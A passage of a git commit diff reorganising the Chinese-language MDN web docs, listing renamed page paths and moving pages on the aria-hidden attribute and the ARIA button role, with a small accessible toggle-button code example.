files/zh-cn/web/guide/api/dom/the_structured_clone_algorithm/index.html delete mode 100644 files/zh-cn/web/guide/css/consistent_list_indentation/index.html delete mode 100644 files/zh-cn/web/guide/css/counters/index.html delete mode 100644 files/zh-cn/web/guide/css/css_image_sprites/index.html delete mode 100644 "files/zh-cn/web/guide/css/css\345\237\272\347\241\200/index.html" delete mode 100644 files/zh-cn/web/guide/css/getting_started/boxes/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/cascading_and_inheritance/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/color/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/content/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/how_css_works/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/javascript/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/layout/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/lists/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/media/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/readable_css/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/selectors/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/svg_and_css/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/tables/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/text_styles/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/what_is_css/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/why_use_css/index.html delete mode 100644 files/zh-cn/web/guide/css/media_queries/index.html delete mode 100644 files/zh-cn/web/guide/css/scaling_background_images/index.html delete mode 100644 files/zh-cn/web/guide/css/testing_media_queries/index.html delete mode 100644 files/zh-cn/web/guide/css/understanding_z_index/adding_z-index/index.html delete mode 100644 files/zh-cn/web/guide/css/understanding_z_index/index.html delete mode 100644 files/zh-cn/web/guide/css/understanding_z_index/stacking_and_float/index.html delete mode 100644 files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_1/index.html delete mode 100644 files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_2/index.html delete mode 100644 files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_3/index.html delete mode 100644 files/zh-cn/web/guide/css/understanding_z_index/stacking_without_z-index/index.html delete mode 100644 files/zh-cn/web/guide/css/understanding_z_index/the_stacking_context/index.html delete mode 100644 files/zh-cn/web/guide/css/using_css_gradients/index.html delete mode 100644 files/zh-cn/web/guide/css/using_multi-column_layouts/index.html delete mode 100644 files/zh-cn/web/guide/css/using_the__colon_target_selector/index.html delete mode 100644 files/zh-cn/web/guide/css/visual_formatting_model/index.html delete mode 100644 files/zh-cn/web/guide/html/content_editable/index.html delete mode 100644 files/zh-cn/web/guide/html/content_editable/rich-text_editing_in_mozilla/index.html create mode 100644 files/zh-cn/web/guide/html/editable_content/index.html create mode 100644 files/zh-cn/web/guide/html/editable_content/rich-text_editing_in_mozilla/index.html delete mode 100644 files/zh-cn/web/guide/html/email_links/index.html delete mode 100644 files/zh-cn/web/guide/html/forms_in_html/index.html delete mode 100644 files/zh-cn/web/guide/html/html/index.html delete mode 100644 files/zh-cn/web/guide/html/html5/html5_element_list/index.html delete mode 100644 files/zh-cn/web/guide/html/html5/html5_thematic_classification/index.html delete mode 100644 files/zh-cn/web/guide/html/sections_and_outlines_of_an_html5_document/index.html delete mode 100644 files/zh-cn/web/guide/html/tips_for_authoring_fast-loading_html_pages/index.html delete mode 100644 files/zh-cn/web/guide/html/using_data_attributes/index.html delete mode 100644 files/zh-cn/web/guide/html/using_html5_audio_and_video/index.html create mode 100644 files/zh-cn/web/guide/html/using_html_sections_and_outlines/index.html create mode 100644 files/zh-cn/web/guide/introduction_to_web_development/index.html create mode 100644 files/zh-cn/web/guide/woff/index.html create mode 100644 files/zh-cn/web/html/attributes/autocomplete/index.html create mode 100644 files/zh-cn/web/html/attributes/crossorigin/index.html delete mode 100644 "files/zh-cn/web/html/attributes/\350\207\252\345\212\250\345\256\214\346\210\220\345\261\236\346\200\247/index.html" delete mode 100644 files/zh-cn/web/html/cors_settings_attributes/index.html delete mode 100644 files/zh-cn/web/html/dash_adaptive_streaming_for_html_5_video/index.html delete mode 100644 files/zh-cn/web/html/element/command/index.html delete mode 100644 files/zh-cn/web/html/element/element/index.html create mode 100644 files/zh-cn/web/html/element/input/month/index.html create mode 100644 files/zh-cn/web/html/element/input/range/index.html delete mode 100644 "files/zh-cn/web/html/element/input/\346\234\210\344\273\275/index.html" delete mode 100644 "files/zh-cn/web/html/element/input/\350\214\203\345\233\264/index.html" delete mode 100644 files/zh-cn/web/html/focus_management_in_html/index.html delete mode 100644 files/zh-cn/web/html/global_attributes/dropzone/index.html create mode 100644 files/zh-cn/web/html/global_attributes/x-ms-acceleratorkey/index.html create mode 100644 files/zh-cn/web/html/global_attributes/x-ms-format-detection/index.html delete mode 100644 "files/zh-cn/web/html/global_attributes/x-ms-\345\212\240\351\200\237\350\243\205\347\275\256\351\224\256/index.html" delete mode 100644 "files/zh-cn/web/html/global_attributes/x-ms-\346\240\274\345\274\217-\346\243\200\346\265\213/index.html" delete mode 100644 files/zh-cn/web/html/optimizing_your_pages_for_speculative_parsing/index.html delete mode 100644 files/zh-cn/web/html/supported_media_formats/index.html delete mode 100644 files/zh-cn/web/http/access_control_cors/index.html create mode 100644 files/zh-cn/web/http/basics_of_http/data_uris/index.html create mode 100644 files/zh-cn/web/http/caching/index.html delete mode 100644 files/zh-cn/web/http/caching_faq/index.html delete mode 100644 "files/zh-cn/web/http/content_negotiation/accept_\351\273\230\350\256\244\345\200\274/index.html" create mode 100644 files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.html create mode 100644 files/zh-cn/web/http/cors/errors/corsmissingallowcredentials/index.html delete mode 100644 "files/zh-cn/web/http/cors/errors/cors\351\224\231\350\257\257\345\205\201\350\256\270\345\207\255\350\257\201/index.html" create mode 100644 files/zh-cn/web/http/cors/index.html delete mode 100644 files/zh-cn/web/http/data_uris/index.html create mode 100644 files/zh-cn/web/http/feature_policy/index.html create mode 100644 files/zh-cn/web/http/feature_policy/using_feature_policy/index.html create mode 100644 files/zh-cn/web/http/headers/strict-transport-security/index.html create mode 100644 files/zh-cn/web/http/headers/x-dns-prefetch-control/index.html create mode 100644 files/zh-cn/web/http/headers/x-frame-options/index.html delete mode 100644 files/zh-cn/web/http/http_response_codes/index.html delete mode 100644 files/zh-cn/web/http/http_strict_transport_security/index.html delete mode 100644 files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_(pac)_file/index.html create mode 100644 files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.html delete mode 100644 files/zh-cn/web/http/server-side_access_control/index.html delete mode 100644 files/zh-cn/web/http/x-frame-options/index.html delete mode 100644 "files/zh-cn/web/http/\347\255\226\347\225\245\347\211\271\345\276\201/index.html" delete mode 100644 "files/zh-cn/web/http/\347\255\226\347\225\245\347\211\271\345\276\201/using_feature_policy/index.html" delete mode 100644 "files/zh-cn/web/http/\350\267\250\345\237\237\350\265\204\346\272\220\345\205\261\344\272\253(cors)_/index.html" delete mode 100644 files/zh-cn/web/javascript/getting_started/index.html delete mode 100644 files/zh-cn/web/javascript/guide/about/index.html delete mode 100644 files/zh-cn/web/javascript/guide/javascript_overview/index.html delete mode 100644 files/zh-cn/web/javascript/guide/regular_expressions/boundaries/index.html create mode 100644 files/zh-cn/web/javascript/guide/regular_expressions/quantifiers/index.html delete mode 100644 "files/zh-cn/web/javascript/guide/regular_expressions/\351\207\217\350\257\215/index.html" delete mode 100644 files/zh-cn/web/javascript/introduction_to_object-oriented_javascript/index.html delete mode 100644 files/zh-cn/web/javascript/introduction_to_using_xpath_in_javascript/index.html delete mode 100644 "files/zh-cn/web/javascript/javascript(\350\265\267\346\255\245)/index.html" delete mode 100644 files/zh-cn/web/javascript/reference/classes/class_elements/index.html create mode 100644 files/zh-cn/web/javascript/reference/classes/public_class_fields/index.html create mode 100644 files/zh-cn/web/javascript/reference/errors/cant_assign_to_property/index.html delete mode 100644 "files/zh-cn/web/javascript/reference/errors/\344\270\215\350\203\275\346\267\273\345\212\240\345\261\236\346\200\247/index.html" delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/array/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/arraybuffer/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/asyncfunction/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/asynciterator/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/boolean/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/dataview/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/date/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/error/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/evalerror/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/function/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/generatorfunction/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/intl/datetimeformat/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/map/prototype/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/math/acosh/index.html delete mode 100644 "files/zh-cn/web/javascript/reference/global_objects/math/\345\217\215\345\217\214\346\233\262\344\275\231\345\274\246\345\200\274/index.html" delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/number/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/object/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/promise/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/apply/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/construct/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/defineproperty/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/deleteproperty/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/get/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/getownpropertydescriptor/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/getprototypeof/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/has/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/isextensible/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/ownkeys/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/preventextensions/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/set/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/setprototypeof/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/apply/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/construct/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/get/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/has/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/set/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/rangeerror/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/referenceerror/prototype/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/reflect/comparing_reflect_and_object_methods/index.html delete mode 100644 "files/zh-cn/web/javascript/reference/global_objects/reflect/\346\257\224\350\276\203_reflect_\345\222\214_object_\346\226\271\346\263\225/index.html" delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/regexp/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/sharedarraybuffer/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/string/prototype/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/string/trimend/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/string/trimleft/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/string/trimright/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/string/trimstart/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/symbol/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/syntaxerror/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/typedarray/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/typeerror/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/urierror/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/weakmap/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/weakset/prototype/index.html create mode 100644 files/zh-cn/web/javascript/reference/operators/addition/index.html delete mode 100644 files/zh-cn/web/javascript/reference/operators/arithmetic_operators/index.html delete mode 100644 files/zh-cn/web/javascript/reference/operators/assignment_operators/index.html create mode 100644 files/zh-cn/web/javascript/reference/operators/async_function/index.html delete mode 100644 "files/zh-cn/web/javascript/reference/operators/async\345\205\201\350\256\270\345\243\260\346\230\216\344\270\200\344\270\252\345\207\275\346\225\260\344\270\272\344\270\200\344\270\252\345\214\205\345\220\253\345\274\202\346\255\245\346\223\215\344\275\234\347\232\204\345\207\275\346\225\260/index.html" create mode 100644 files/zh-cn/web/javascript/reference/operators/bitwise_and/index.html delete mode 100644 files/zh-cn/web/javascript/reference/operators/bitwise_operators/index.html delete mode 100644 files/zh-cn/web/javascript/reference/operators/comparison_operators/index.html create mode 100644 files/zh-cn/web/javascript/reference/operators/decrement/index.html create mode 100644 files/zh-cn/web/javascript/reference/operators/equality/index.html create mode 100644 files/zh-cn/web/javascript/reference/operators/logical_and/index.html delete mode 100644 files/zh-cn/web/javascript/reference/operators/logical_operators/index.html create mode 100644 files/zh-cn/web/javascript/reference/operators/optional_chaining/index.html create mode 100644 files/zh-cn/web/javascript/reference/operators/pipeline_operator/index.html create mode 100644 files/zh-cn/web/javascript/reference/operators/remainder/index.html delete mode 100644 "files/zh-cn/web/javascript/reference/operators/\345\217\226\344\275\231/index.html" delete mode 100644 "files/zh-cn/web/javascript/reference/operators/\345\217\257\351\200\211\351\223\276/index.html" delete mode 100644 "files/zh-cn/web/javascript/reference/operators/\346\214\211\344\275\215\344\270\216/index.html" delete mode 100644 "files/zh-cn/web/javascript/reference/operators/\347\233\270\345\212\240/index.html" delete mode 100644 "files/zh-cn/web/javascript/reference/operators/\347\233\270\347\255\211/index.html" delete mode 100644 "files/zh-cn/web/javascript/reference/operators/\347\256\241\351\201\223\346\223\215\344\275\234\347\254\246/index.html" delete mode 100644 "files/zh-cn/web/javascript/reference/operators/\350\207\252\345\207\217/index.html" delete mode 100644 "files/zh-cn/web/javascript/reference/operators/\351\200\273\350\276\221\345\222\214/index.html" delete mode 100644 files/zh-cn/web/javascript/reference/reserved_words/index.html delete mode 100644 files/zh-cn/web/javascript/reference/statements/default/index.html create mode 100644 files/zh-cn/web/javascript/reference/template_literals/index.html delete mode 100644 files/zh-cn/web/javascript/reference/template_strings/index.html delete mode 100644 files/zh-cn/web/javascript/the_performance_hazards_of__[[prototype]]_mutation/index.html create mode 100644 files/zh-cn/web/javascript/the_performance_hazards_of_prototype_mutation/index.html delete mode 100644 files/zh-cn/web/localization/index.html create mode 100644 files/zh-cn/web/media/autoplay_guide/index.html create mode 100644 files/zh-cn/web/media/dash_adaptive_streaming_for_html_5_video/index.html create mode 100644 files/zh-cn/web/media/formats/video_codecs/index.html delete mode 100644 "files/zh-cn/web/media/formats/\350\247\206\351\242\221\347\274\226\350\247\243\347\240\201\345\231\250/index.html" create mode 100644 files/zh-cn/web/media/index.html create mode 100644 files/zh-cn/web/performance/how_browsers_work/index.html delete mode 100644 "files/zh-cn/web/performance/\346\265\217\350\247\210\345\231\250\346\270\262\346\237\223\351\241\265\351\235\242\347\232\204\345\267\245\344\275\234\345\216\237\347\220\206/index.html" create mode 100644 files/zh-cn/web/progressive_web_apps/add_to_home_screen/index.html create mode 100644 files/zh-cn/web/progressive_web_apps/loading/index.html delete mode 100644 files/zh-cn/web/progressive_web_apps/network_independent/index.html delete mode 100644 files/zh-cn/web/progressive_web_apps/re-engageable/index.html delete mode 100644 files/zh-cn/web/progressive_web_apps/responsive/index.html create mode 100644 files/zh-cn/web/progressive_web_apps/responsive/media_types/index.html delete mode 100644 "files/zh-cn/web/progressive_web_apps/\344\274\230\345\212\277/index.html" delete mode 100644 "files/zh-cn/web/progressive_web_apps/\345\212\240\350\275\275/index.html" delete mode 100644 "files/zh-cn/web/progressive_web_apps/\346\267\273\345\212\240\345\210\260\344\270\273\345\261\217\345\271\225/index.html" delete mode 100644 files/zh-cn/web/security/csp/index.html delete mode 100644 files/zh-cn/web/security/csp/introducing_content_security_policy/index.html delete mode 100644 files/zh-cn/web/security/csp/using_csp_violation_reports/index.html delete mode 100644 files/zh-cn/web/security/information_security_basics/index.html delete mode 100644 files/zh-cn/web/security/securing_your_site/configuring_server_mime_types/index.html create mode 100644 files/zh-cn/web/security/subresource_integrity/index.html create mode 100644 files/zh-cn/web/security/transport_layer_security/index.html delete mode 100644 "files/zh-cn/web/security/\344\274\240\350\276\223\345\261\202\345\256\211\345\205\250\345\215\217\350\256\256/index.html" delete mode 100644 "files/zh-cn/web/security/\345\255\220\350\265\204\346\272\220\345\256\214\346\225\264\346\200\247/index.html" create mode 100644 files/zh-cn/web/svg/attribute/styling/index.html create mode 100644 files/zh-cn/web/svg/attribute/text-anchor/index.html delete mode 100644 "files/zh-cn/web/svg/attribute/\346\226\207\346\234\254\351\224\232\347\202\271/index.html" delete mode 100644 "files/zh-cn/web/svg/attribute/\346\240\267\345\274\217/index.html" create mode 100644 files/zh-cn/web/svg/tutorial/svg_and_css/index.html create mode 100644 files/zh-cn/web/web_components/html_imports/index.html delete mode 100644 "files/zh-cn/web/web_components/html\345\257\274\345\205\245/index.html" delete mode 100644 files/zh-cn/web/web_components/status_in_firefox/index.html delete mode 100644 "files/zh-cn/web/web_components/\345\275\261\345\255\220_dom/index.html" create mode 100644 files/zh-cn/web/xpath/comparison_with_css_selectors/index.html create mode 100644 files/zh-cn/web/xpath/introduction_to_using_xpath_in_javascript/index.html create mode 100644 files/zh-cn/web/xslt/element/index.html delete mode 100644 files/zh-cn/web/xslt/elements/index.html delete mode 100644 "files/zh-cn/web/\345\252\222\344\275\223/autoplay_guide/index.html" delete mode 100644 "files/zh-cn/web/\345\252\222\344\275\223/index.html" delete mode 100644 "files/zh-cn/web/\346\274\224\347\244\272\350\257\264\346\230\216/index.html" (limited to 'files/zh-cn/web') diff --git a/files/zh-cn/web/accessibility/aria/aria_techniques/using_the_aria-hidden_attribute/index.html b/files/zh-cn/web/accessibility/aria/aria_techniques/using_the_aria-hidden_attribute/index.html new file mode 100644 index 0000000000..8b7f706afa --- /dev/null +++ b/files/zh-cn/web/accessibility/aria/aria_techniques/using_the_aria-hidden_attribute/index.html @@ -0,0 +1,94 @@ +--- +title: 使用aria-hidden属性 +slug: Web/Accessibility/ARIA/ARIA_Techniques/使用aria-hidden属性 +tags: + - HTML + - Rôle + - 代码脚本 + - 可访问性 + - 可访问的富网络应用 + - 客户端 + - 警告 +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-hidden_attribute +--- +

{{draft}}

+ +

本文用来说明如何使用aria-hidden属性。aria-hidden属性可以用来控制一系列可访问API中的非交互内容的显示或隐藏。

+ +

描述

+ +
+

把 aria-hidden="true" 加到元素上会把该元素和它的所有子元素从可访问性树上移除。这样做可以通过隐藏下列内容来提升使用辅助技术的用户体验:

+ + + +

根据可访问性的第四条规则aria-hidden="true" 不应该被用在可聚焦的元素上。 而且,由于这个属性是可以被子元素继承的,它也不应该被用在可聚焦元素的父元素上。

+ +

如果父元素带有 aria-hidden="true" ,那么即使使用 aria-hidden="false" 也无法将该元素显示出来。

+
+ +
+

WAI-ARIA Authoring Practices 1.1 提示 aria-hidden="false" 在现阶段 各个浏览器中表现不同.

+
+ +

比较 aria-hidden="true", role="presentation" 和 role="none"

+ +

表面上,aria-hidden="true"role="presentation",和role="none" 很相似,因为这三者都有以下特性:

+ + + +

尽管有上面这些相同点,但是各个属性的意图是不同的。

+ + + +

+ +

可选值

+ +
+
false
+
(默认)元素会暴露给可访问性API。
+
true
+
元素不会暴露给可访问性API。
+
undefined
+
(默认)客户端决定元素是否暴露给可访问性API。
+
+ +

示例

+ +
 <i class="icon" aria-hidden="true" />
+ +

无障碍问题

+ +

最佳实践

+ +

 aria-hidden="true" 在以下场景不应该被使用:

+ + + +

在以上三个场景中,元素已经被隐藏,从可访问树种移除了,无需再添加aria-hidden="true"属性。

+ +

技术规格

+ +

另见

+ + diff --git a/files/zh-cn/web/accessibility/aria/aria_techniques/using_the_button_role/index.html b/files/zh-cn/web/accessibility/aria/aria_techniques/using_the_button_role/index.html deleted file mode 100644 index e0e35c449a..0000000000 --- a/files/zh-cn/web/accessibility/aria/aria_techniques/using_the_button_role/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: Using the button role -slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_button_role -tags: - - ARIA - - 可访问性 - - 无障碍 -translation_of: Web/Accessibility/ARIA/Roles/button_role ---- -

button 角色应该用于可单击的元素, 当用户激活时触发响应。 在其本身,role="button" 可以使任何元素 (e.g. {{HTMLElement("p")}}, {{HTMLElement("span")}} or {{HTMLElement("div")}}) 作为一个屏幕阅读器的按钮控件出现。此外,该角色还可以与 aria-pressed 属性组合使用,以创建切换按钮。

- -
注意: 在可能的情况下,建议使用原生HTML按钮 (<button>, <input type="button" /><input type="submit" />, <input type="reset" /> and <input type="image" />) 而不是按钮角色,因为原生HTML按钮得到了较老用户代理和辅助技术的广泛支持。原生HTML按钮也支持键盘和焦点需求,不需要额外的定制。
- -

键盘 and 聚焦

- -

按钮是交互式控件,因此其本身是可聚焦的。如果button 角色被添加到一个自身不可聚焦的元素(such as <span><div> or <p>) 那么必须使用tabindex 属性来使按钮可聚焦。

- -

按钮可以由鼠标用户和键盘用户操作。 对于原生HTML <button> 元素 ,按钮的 onclick 事件会在鼠标单击和按下键盘的 Space or Enter 时被触发, 同时这个按钮处于聚焦状态。 但是如果使用其他标签来创建“自定义按钮”,那么onclick事件只会在点击鼠标光标时触发,即使使用role="button" 。因此,开发人员必须向元素添加一个单独的关键事件处理程序,以便在按下 Space or Enter 时触发按钮。

- -

Warning: 把给一个链接标记为按钮角色的链接时要谨慎。按钮将使用 Space or Enter 键触发,而链接被期望使用 Enter 键触发。 换句话说,当链接被用来作为按钮的时候,仅仅添加role="button"是不够的。还需要添加一个 key 事件处理程序来侦听 Space 键,以便与原生按钮保持一致。

- -

可切换的按钮

- -

使用role="button"的一个优点是它允许创建切换按钮。一个切换按钮可以有两个状态:pressed,not pressed。除了 button角色之外,按钮是否为切换按钮,也可以用aria-pressed的属性来表示。

- - - -

Labeling buttons

- -

按钮应该总是有一个可访问的名称。对于大多数按钮,这个名称将与按钮中的文本相同。在某些情况下,例如图标按钮,可通过 aria-labelaria-labelledby 属性提供可访问的名称。

- -

对用户代理和辅助技术的可能影响

- -

当使用 button 角色时,用户代理应该将该元素公开为操作系统的易访问性API中的按钮控件。屏幕阅读器应该将元素声明为一个按钮并描述其可访问的名称。语音识别软件应该可以通过说:"点击"+按钮的可访问的name 就能激活这个按钮。

- -
Note: 关于辅助技术如何处理这种技术,意见可能有所不同。上面所提供的信息是其中之一,因此并非规范。
- -

Examples

- -

ARIA Basic Button

- -

在下面的代码片段中,一个span元素已经被赋予了按钮角色。由于使用的是 <span> 元素,因此需要提供 tabindex 属性使按钮的可聚焦并成为tab顺序流中的一部分。注意,这段代码提供了CSS样式,以使 <span>元素看起来像一个按钮, handleBtnClickhandleBtnKeyPress 是事件处理程序,当鼠标单击、 Space or Enter 被按下时,执行该按钮的操作。

- -
<span role="button" tabindex="0" onclick="handleBtnClick()" onKeyPress="handleBtnKeyPress()">Save</span>
-
- -

ARIA Toggle Button

- -

在这个片段中,使用 button 角色和 aria-pressed 属性,来将 <span> 元素转换为一个切换按钮,当按钮被激活时, aria-pressed 的值在true和false之间切换。

- -

HTML

- -
<button type="button" aria-pressed="false" onclick="handleBtnClick(event)">
-  Native button toggle
-</button>
-
-<span role="button" tabindex="0"
- aria-pressed="false" onclick="handleBtnClick(event)"
- onKeyPress="handleBtnKeyPress(event)">
-  Span button toggle
-</span>
- -

CSS

- -
button,
-[role="button"] {
-    padding: 3px;
-    border: 1px solid #CCC;
-}
-
-button[aria-pressed="true"],
-[role="button"][aria-pressed="true"] {
-    border: 2px solid #000;
-}
-
- -

JavaScript

- -
function handleBtnClick(event) {
-  toggleButton(event.target);
-}
-
-function handleBtnKeyPress(event) {
-  // Check to see if space or enter were pressed
-  if (event.key === " " || event.key === "Enter") {
-    // Prevent the default action to stop scrolling when space is pressed
-    event.preventDefault();
-    toggleButton(event.target);
-  }
-}
-
-function toggleButton(element) {
-  // Check to see if the button is pressed
-  var pressed = (element.getAttribute("aria-pressed") === "true");
-  // Change aria-pressed to the opposite state
-  element.setAttribute("aria-pressed", !pressed);
-}
- -

Result

- -

{{EmbedLiveSample('ARIA_Toggle_Button')}}

- -

Notes 

- -

ARIA attributes used

- - - -

Additional resources

- - diff --git "a/files/zh-cn/web/accessibility/aria/aria_techniques/\344\275\277\347\224\250aria-hidden\345\261\236\346\200\247/index.html" "b/files/zh-cn/web/accessibility/aria/aria_techniques/\344\275\277\347\224\250aria-hidden\345\261\236\346\200\247/index.html" deleted file mode 100644 index 8b7f706afa..0000000000 --- "a/files/zh-cn/web/accessibility/aria/aria_techniques/\344\275\277\347\224\250aria-hidden\345\261\236\346\200\247/index.html" +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: 使用aria-hidden属性 -slug: Web/Accessibility/ARIA/ARIA_Techniques/使用aria-hidden属性 -tags: - - HTML - - Rôle - - 代码脚本 - - 可访问性 - - 可访问的富网络应用 - - 客户端 - - 警告 -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-hidden_attribute ---- -

{{draft}}

- -

本文用来说明如何使用aria-hidden属性。aria-hidden属性可以用来控制一系列可访问API中的非交互内容的显示或隐藏。

- -

描述

- -
-

把 aria-hidden="true" 加到元素上会把该元素和它的所有子元素从可访问性树上移除。这样做可以通过隐藏下列内容来提升使用辅助技术的用户体验:

- - - -

根据可访问性的第四条规则aria-hidden="true" 不应该被用在可聚焦的元素上。 而且,由于这个属性是可以被子元素继承的,它也不应该被用在可聚焦元素的父元素上。

- -

如果父元素带有 aria-hidden="true" ,那么即使使用 aria-hidden="false" 也无法将该元素显示出来。

-
- -
-

WAI-ARIA Authoring Practices 1.1 提示 aria-hidden="false" 在现阶段 各个浏览器中表现不同.

-
- -

比较 aria-hidden="true", role="presentation" 和 role="none"

- -

表面上,aria-hidden="true"role="presentation",和role="none" 很相似,因为这三者都有以下特性:

- - - -

尽管有上面这些相同点,但是各个属性的意图是不同的。

- - - -

- -

可选值

- -
-
false
-
(默认)元素会暴露给可访问性API。
-
true
-
元素不会暴露给可访问性API。
-
undefined
-
(默认)客户端决定元素是否暴露给可访问性API。
-
- -

示例

- -
 <i class="icon" aria-hidden="true" />
- -

无障碍问题

- -

最佳实践

- -

 aria-hidden="true" 在以下场景不应该被使用:

- - - -

在以上三个场景中,元素已经被隐藏,从可访问树种移除了,无需再添加aria-hidden="true"属性。

- -

技术规格

- -

另见

- - diff --git a/files/zh-cn/web/accessibility/aria/roles/button_role/index.html b/files/zh-cn/web/accessibility/aria/roles/button_role/index.html new file mode 100644 index 0000000000..e0e35c449a --- /dev/null +++ b/files/zh-cn/web/accessibility/aria/roles/button_role/index.html @@ -0,0 +1,122 @@ +--- +title: Using the button role +slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_button_role +tags: + - ARIA + - 可访问性 + - 无障碍 +translation_of: Web/Accessibility/ARIA/Roles/button_role +--- +

button 角色应该用于可单击的元素, 当用户激活时触发响应。 在其本身,role="button" 可以使任何元素 (e.g. {{HTMLElement("p")}}, {{HTMLElement("span")}} or {{HTMLElement("div")}}) 作为一个屏幕阅读器的按钮控件出现。此外,该角色还可以与 aria-pressed 属性组合使用,以创建切换按钮。

+ +
注意: 在可能的情况下,建议使用原生HTML按钮 (<button>, <input type="button" /><input type="submit" />, <input type="reset" /> and <input type="image" />) 而不是按钮角色,因为原生HTML按钮得到了较老用户代理和辅助技术的广泛支持。原生HTML按钮也支持键盘和焦点需求,不需要额外的定制。
+ +

键盘 and 聚焦

+ +

